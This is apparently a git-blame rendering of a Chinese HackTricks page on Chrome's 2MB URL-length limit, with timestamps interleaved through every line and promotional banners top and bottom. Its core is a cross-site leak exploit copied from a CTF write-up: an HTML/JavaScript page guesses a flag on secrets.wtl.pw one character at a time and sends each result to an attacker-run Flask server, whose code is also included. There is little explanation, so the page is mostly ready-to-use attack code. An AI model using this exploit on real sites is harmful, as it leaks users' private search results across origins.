2023-08-03 19:12:22 +00:00
|
|
|
|
# URL最大长度 - 客户端
|
2023-03-05 22:20:47 +00:00
|
|
|
|
|
|
|
|
|
<details>
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
2023-03-05 22:20:47 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
* 你在一家**网络安全公司**工作吗?想要在HackTricks中看到你的**公司广告**吗?或者你想要**获取PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
|
|
|
|
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品 - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
|
|
|
|
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
|
|
|
|
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
|
|
|
|
* **通过向** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
2023-03-05 22:20:47 +00:00
|
|
|
|
|
|
|
|
|
</details>
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
从[https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)复制的代码
|
2023-03-05 22:20:47 +00:00
|
|
|
|
```html
|
|
|
|
|
<html>
|
|
|
|
|
<body></body>
|
|
|
|
|
<script>
|
2023-08-03 19:12:22 +00:00
|
|
|
|
(async () => {
|
|
|
|
|
|
|
|
|
|
const curr = "http://secrets.wtl.pw/search?query=HackTM{"
|
|
|
|
|
|
|
|
|
|
const leak = async (char) => {
|
|
|
|
|
|
|
|
|
|
fetch("/?try=" + char)
|
|
|
|
|
let w = window.open(curr + char + "#" + "A".repeat(2 * 1024 * 1024 - curr.length - 2))
|
|
|
|
|
|
|
|
|
|
const check = async () => {
|
|
|
|
|
try {
|
|
|
|
|
w.origin
|
|
|
|
|
} catch {
|
|
|
|
|
fetch("/?nope=" + char)
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
setTimeout(check, 100)
|
|
|
|
|
}
|
|
|
|
|
check()
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
const CHARSET = "abcdefghijklmnopqrstuvwxyz-_0123456789"
|
|
|
|
|
|
|
|
|
|
for (let i = 0; i < CHARSET.length; i++) {
|
|
|
|
|
leak(CHARSET[i])
|
|
|
|
|
await new Promise(resolve => setTimeout(resolve, 50))
|
|
|
|
|
}
|
|
|
|
|
})()
|
2023-03-05 22:20:47 +00:00
|
|
|
|
</script>
|
|
|
|
|
</html>
|
|
|
|
|
```
|
2023-08-03 19:12:22 +00:00
|
|
|
|
服务器端:
|
2023-03-05 22:20:47 +00:00
|
|
|
|
```python
|
|
|
|
|
from flask import Flask, request
|
|
|
|
|
|
|
|
|
|
app = Flask(__name__)
|
|
|
|
|
|
|
|
|
|
CHARSET = "abcdefghijklmnopqrstuvwxyz-_0123456789"
|
|
|
|
|
chars = []
|
|
|
|
|
|
|
|
|
|
@app.route('/', methods=['GET'])
|
|
|
|
|
def index():
|
2023-08-03 19:12:22 +00:00
|
|
|
|
global chars
|
2023-03-05 22:20:47 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
nope = request.args.get('nope', '')
|
|
|
|
|
if nope:
|
|
|
|
|
chars.append(nope)
|
2023-03-05 22:20:47 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
remaining = [c for c in CHARSET if c not in chars]
|
2023-03-05 22:20:47 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
print("Remaining: {}".format(remaining))
|
|
|
|
|
|
|
|
|
|
return "OK"
|
2023-03-05 22:20:47 +00:00
|
|
|
|
|
|
|
|
|
@app.route('/exploit.html', methods=['GET'])
|
|
|
|
|
def exploit():
|
2023-08-03 19:12:22 +00:00
|
|
|
|
return open('exploit.html', 'r').read()
|
2023-03-05 22:20:47 +00:00
|
|
|
|
|
|
|
|
|
if __name__ == '__main__':
|
2023-08-03 19:12:22 +00:00
|
|
|
|
app.run(host='0.0.0.0', port=1337)
|
2023-03-05 22:20:47 +00:00
|
|
|
|
```
|
|
|
|
|
<details>
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
2023-03-05 22:20:47 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
* 你在一家**网络安全公司**工作吗?想要在 HackTricks 中**宣传你的公司**吗?或者你想要**获取最新版本的 PEASS 或下载 HackTricks 的 PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
|
|
|
|
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
|
|
|
|
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
|
|
|
|
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者**关注**我在**推特**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
|
|
|
|
* **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
|
2023-03-05 22:20:47 +00:00
|
|
|
|
|
|
|
|
|
</details>
|